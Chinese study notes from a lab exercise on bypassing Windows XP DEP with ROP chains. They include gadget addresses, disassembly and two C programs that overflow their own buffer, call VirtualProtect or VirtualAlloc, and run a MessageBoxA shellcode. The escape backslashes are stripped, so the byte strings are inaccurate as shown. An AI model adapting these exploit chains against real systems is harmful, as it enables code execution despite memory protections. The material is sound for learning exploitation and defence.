OD: DEP

一，通过 VirutalProtect() 修改内存属性绕过 DEP

DEP 的四种工作模式中，OptOut 和 AlwaysOn 下所有进程默认都开启 DEP 保护，这里如果一个程序自身需要从堆栈中取指令，则会发生错误。为了解决这个问题，MS 在 kernel32.dll 中提供了修改内存属性的 VirtualProtect() 函数，可以修改可执行属性。故一个新的思路的构造参数并利用 VirutalProtect() 修改 shellcode 为可执行，进而绕过 DEP。

BOOL VirtualProtect{
    LPVOID lpAddress,        // 需要修改属性的内存的起始地址
    DWORD  dwSize,           // 大小
    DWORD  flNewProtect,     // 新属性，其中可执行可读写属性 PAGE_EXECUTE_READWRITE 值为 0x40
    PDWORD lpflOldProtect    // 原始属性的保存地址
};

接下来演示如何动态定位 shellcode，然后通过 VirtualProtect() 修改 shellcode 属性并触发。因为参数中含有 null，为便于演示起见，漏洞函数设为 memcpy()，同时关闭 SafeSEH 和 GS 保护。

VirtualProtect() 函数的反汇编代码如下：

7C801AD4 > 8BFF             MOV EDI,EDI                      ; ret2libc.004034F8
7C801AD6   55               PUSH EBP
7C801AD7   8BEC             MOV EBP,ESP
7C801AD9   FF75 14          PUSH DWORD PTR SS:[EBP+14]       ; 设置参数 lpflOldProtect
7C801ADC   FF75 10          PUSH DWORD PTR SS:[EBP+10]       ; 设置参数 flNewProtect : 0x40
7C801ADF   FF75 0C          PUSH DWORD PTR SS:[EBP+C]        ; 设置参数 dwSize
7C801AE2   FF75 08          PUSH DWORD PTR SS:[EBP+8]        ; 设置参数 lpAddress
7C801AE5   6A FF            PUSH -1
7C801AE7   E8 75FFFFFF      CALL kernel32.VirtualProtectEx   ; 转入 VirtualProtectEx()
7C801AEC   5D               POP EBP
7C801AED   C2 1000          RETN 10

由以上反汇编代码可知，只要在 [ebp+0x8] ~ [ebp+0x18] 的位置放置好参数，再转入 0x7C801AD9 就可以关闭 DEP 了。

接下来布置 shellcode。首先修复被破坏的 ebp（为何修复参见前一篇笔记）：push esp, pop ebp, retn 4。

关闭 DEP 之前需要将 ebp+8 设置为栈帧中的可操作位置，并将 ebp+0x14 设置为一个可写的位置。修复 ebp 之后，esp 指向了 ebp+8 的位置。此时如果能使 esp 指向 ebp+0xC 并 push esp，那么 ebp+8 就位于可操作范围内了。所以先使用一条 retn，既可以使 esp 指向 ebp+0xC，又能掌握程序的控制权。

shellcode 如下：

"x90x90x90x90x90x90x90x90x90x90x90x90"
......
"xE5xE0x72x7D"    // return address, adjust ebp : push esp, pop ebp, retn 4
"x40x26xD8x7D"    // retn
"x90x90x90x90"
"x4AxD4xB8x7D"    // push esp call edi

这里采用上一篇笔记中说到的方法，在第 3 行之前将 edi 指向目标 code，然后布置栈帧，在第 6 行处 call edi 执行目标 code。执行完上述第 6 行的 push esp 后，ebp+8 处的指针就指向可操作的地址了（此时 ebp+8 == esp == [esp+4]），接下来要布置 ebp+0x14，使其指向可写的内存。首先让 esp 指向 ebp+0x14 附近，然后再考虑在 ebp+0x14 写入一个可写的地址。这里用上一篇结尾处提到的技巧：

"x21xAfxCBx7D"    // return address : pop edi retn
"x40x12x5Ax78"    // pop ecx,pop ebx,pop eax,retn
"xE5xE0x72x7D"    // adjust ebp : push esp, pop ebp, retn 4
"x40x26xD8x7D"    // retn
"x90x90x90x90"
"x0AxDCxBAx7D"    // push esp jmp edi(0x785A1240：pop ecx,pop ebx,pop eax,retn)

如此一来，esp 就指向了 ebp+0x18 的位置，这时只要 push esp，ebp+0x14 就指向 ebp+0x18 了，ebp+0x18 是可写的！push esp 之后，VirtualProtect() 的参数就布置好了，可以修改内存可执行属性了！再次利用已经用过的 jmp eax，使 eip 指向 shellcode 就可以了（将前文的 pop edi 和 jmp edi 中的 edi 用 eax 指令替代了，原因是 rop tramp 需要位于可执行区域，而可执行代码区 eax 的指令较 edi 多，方便寻找）：

// ret2libc.cpp : Defines the entry point for the console application.
//
// env
//   * windows xp sp3 with /noexecute=optout
//   * vs2008 with Optimization/GS/SafeSEH disabled
//     Additional Options to disable SafeSEH : /SAFESEH:NO to project_properties - Linker - Command Line

#include "stdafx.h"
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>

char shellcode[]=
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90"
"x94xB0x6Cx7D"    // pop eax retn
"x69x36x5Cx7D"    // pop edi,pop ebx,pop esi,retn
"xE5xE0x72x7D"    // adjust ebp : push esp, pop ebp, retn 4
"x6Cx36x5Cx7D"    // retn
"x90x90x90x90"
"xC6xC6xEBx77"    // push esp jmp eax
"xFFx00x00x00"    // size of memory-to-chmod
"x40x00x00x00"    // attributes of memory-to-chmod
"xC6xC6xEBx77"    // push esp jmp eax
"x90x90x90x90"
"x90x90x90x90"
"xD9x1Ax80x7C"    // chmod memory : VirtualProtect() ends with pop ebp, retn 10
"x90x90x90x90"
"xEBx30x5Ax7D"    // jmp esp
"x90x90x90x90"
"x90x90x90x90"
"x90x90x90x90"
"x90x90x90x90"
"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
"x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
"xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
"x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
"xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
"xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
"x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
"x53x68x24x20x63x78x8BxC4x53x50x50x53xFFx57xFCx53"
"xFFx57xF8"     // 163 bytes pop window shellcode (MessageBoxA)
;
void test()
{
    char str[168];
    memcpy(str,shellcode,425);
}
int main()
{
    char tmp[1024];            // 保证栈帧足够长
    HINSTANCE hInst = LoadLibrary(_T("shell32.dll"));  // for more tramp opcode
    //VirtualProtect(0,0,0,0);
    test();
    return 0;
}

Hint :

一，在 /NoExec=OptOut 的情况下，需要通过系统属性将 OllyDbg 添加到 DEP 的白名单中

二，突破 DEP 之前的踏板指令，需要在可执行区域，这一点害我走了弯路。可以用 OllyFindAddr 插件，如果使用后的 Log 太长不方便看，可以先 Log to File

三，这里用到的就是传说中的 ROP（Return-Oriented-Programming），利用思路值得掌握！

四，相关函数需要查看 MSDN

二，通过 VirutalAlloc() 分配新内存绕过 DEP

VirtualAlloc() 原型如下（参考 MSDN 很有帮助！）：

LPVOID WINAPI VirtualAlloc(
        __in_opt  LPVOID  lpAddress,         // 申请内存的地址，若为 NULL，则系统会决定位置，并按 64kb 向上取整
        __in      SIZE_T  dwSize,            // 大小
        __in      DWORD   flAllocationType,  // 类型（推荐 0x1000）
        __in      DWORD   flProtect          // 保护类型，0x40 为可读写、可执行
);

VirtualAlloc() 和 VirtualProtect() 的实现如出一辙：布置好参数后调用 VirtualAllocEx() 实现功能。其反汇编代码如下：

7C809AE3   55               PUSH EBP
7C809AE4   8BEC             MOV EBP,ESP
7C809AE6   FF75 14          PUSH DWORD PTR SS:[EBP+14]      // flProtect
7C809AE9   FF75 10          PUSH DWORD PTR SS:[EBP+10]      // flAllocationType
7C809AEC   FF75 0C          PUSH DWORD PTR SS:[EBP+C]       // dwSize
7C809AEF   FF75 08          PUSH DWORD PTR SS:[EBP+8]       // lpAddress
7C809AF2   6A FF            PUSH -1                         // 当前进程
7C809AF4   E8 09000000      CALL kernel32.VirtualAllocEx    // VirtualAllocEx() 会平衡第 3-7 行压入的参数，同理第 10 行平衡转入第 1 行前的参数
7C809AF9   5D               POP EBP
7C809AFA   C2 1000          RETN 10

实验思路为：

* 构造可溢出的函数

* 溢出后利用 ROP 转入 VirtualAllocEx() 得到可读写、执行的内存

* 将 shellcode 复制到得到的内存中

* 转入 shellcode 执行

自己写出的实验代码如下：

// ret2libc.cpp : Defines the entry point for the console application.
//
// env
//   * windows xp sp3 with /noexecute=optout
//   * vs2008 with Optimization/GS/SafeSEH disabled
//     Additional Options to disable SafeSEH : /SAFESEH:NO to project_properties - Linker - Command Line

#include "stdafx.h"
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>

char shellcode[]=
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90"
"xE5xE0x72x7D"    // adjust ebp : push esp, pop ebp, retn 4
"xF4x9Ax80x7C"    // VirtualAllocEx()
"x90x90x90x90"
"xFFxFFxFFxFF"    // arg: current process
"x00x40x03x00"    // arg:
"xFFx01x00x00"    // arg: size
"x00x10x00x00"    // arg: type
"x40x00x00x00"    // arg: attrib
"x90x90x90x90"    // VirtualAlloc() returns with pop ebp, retn 0x10
"xE5xE0x72x7D"    // adjust ebp : push esp, pop ebp, retn 4
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x2Bx72x5Fx7D"    // pop ecx, retn
"x90x90x90x90"    // slide
"xFFx00x00x00"    // pop arg to ecx
"x68xEAx76x7D"    // pop edi retn
"x00x40x03x00"    // pop arg to edi
                      // push esp, pop esi, retn 这里为了方便从 shellcode 之前的内存就开始复制，即 esp 指向的地址开始复制
"x94xB0x6Cx7D"    // pop eax retn
"xEFx6Ax71x7D"    // rop: pop esi retn
"xC6xC6xEBx77"    // push esp jmp eax
"x89x17xD3x77"    // REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
                      // POP EDI
                      // POP ESI
                      // POP EBP
                      // RETN 4
"x90x90x90x90"    // slide: pop edi
"x90x90x90x90"    // slide: pop esi
"x90x90x90x90"    // slide: pop ebp
"x94xB0x6Cx7D"    // pop eax retn
"x90x90x90x90"    // slide
"x20x40x03x00"    // pop shellcode to eax
"xC7xC6xEBx77"    // jmp eax (shellcode)
"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
"x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
"xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
"x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
"xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
"xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
"x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
"x53x68x24x20x63x78x8BxC4x53x50x50x53xFFx57xFCx53"
"xFFx57xF8"     // 163 bytes pop window shellcode (MessageBoxA)
;
void test()
{
    char str[16];
    memcpy(str,shellcode,400);
}
int main()
{
    char tmp[1024];            // 保证栈帧足够长
    HINSTANCE hInst = LoadLibrary(_T("shell32.dll"));
    //VirtualProtect(0,0,0,0);
    //VirtualAlloc((LPVOID)0x00300000,255,0x00001000,0x00000040);
    test();
    return 0;
}

这次实验是自己写出来的，几点与原书中的示例不同：

* 原书直接转入 memcpy() 函数内部完成复制 shellcode 的功能

* 原书复制完 shellcode 后直接转入目标内存起点执行，因为复制的起始位置在 shellcode 关键代码之前（esp），所以目标内存起点存在脏代码

* 原书利用 memcpy() 函数中的 pop 操作，巧妙地布置填充数据，消除目标内存起点的脏代码影响

我自己的思路是布置好 ecx、edi、esi 后直接找到 rep movs 的指令并当作跳板完成 shellcode 的复制，但代码长度还可优化：如 VirtualAlloc() 后 eax 指向了目标内存地址，可以先 mov edi,eax retn。

另外，熟悉 API 很重要，MSDN 很有价值！